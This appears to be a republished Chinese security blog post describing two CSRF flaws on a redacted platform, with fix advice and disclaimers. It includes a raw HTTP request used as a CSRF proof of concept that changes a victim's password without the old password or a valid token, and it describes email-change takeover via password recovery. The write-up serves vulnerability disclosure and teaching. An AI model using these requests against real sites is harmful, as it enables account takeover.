扫码领资料
获网安教程
案例1：
缺陷1：登陆后更新修改密码，不需要传输旧密码就可以修改
缺陷2：虽然参数有token，但是删除后仍然可以修改，说明实际没有对token进行校验
删除了狐假虎威的token，发现这里的token参数并没有卵用
【可以修改密码处抓包，不需要输入旧密码，不需要token】
构造csrf的poc：
POST /?m=Member&a=index HTTP/2Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: application/json, text/javascript, /; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 123Origin: xxxxxReferer: xxxxxxxSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersmethod=PUT&phone=xxxxx&name=zbs&oldpassword=&password=12345678&repassword=12345678
【cookie值、token、旧密码三个参数都已删除】
登陆账号访问csrf页面：
密码已成功通过csrf修改为12345678：
说明了看到token不一定代表没有csrf漏洞，有可能只是在狐假虎威。
案例2：
漏洞url处可以修改邮箱，此时邮箱为[email protected]：
截取数据包：
发现只通过cookie的session值进行验证
构造csrf：
登录后访问csrf页面：
修改成功：
再次登录发现邮箱被修改
并且找回密码通过邮箱验证：
漏洞修复建议：
1.修复文章中的缺陷；
2.该接口的查询添加Token ：Cookie里面有一段随机值，和请求包里面的GET或者POST传参有一个关联
申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，
所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
没看够~？欢迎关注！
分享本文到朋友圈，可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我！
回顾往期内容
代理池工具撰写 | 只有无尽的跳转，没有封禁的IP！
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
原文始发于微信公众号（掌控安全EDU）：漏洞挖掘 | 某平台CSRF漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论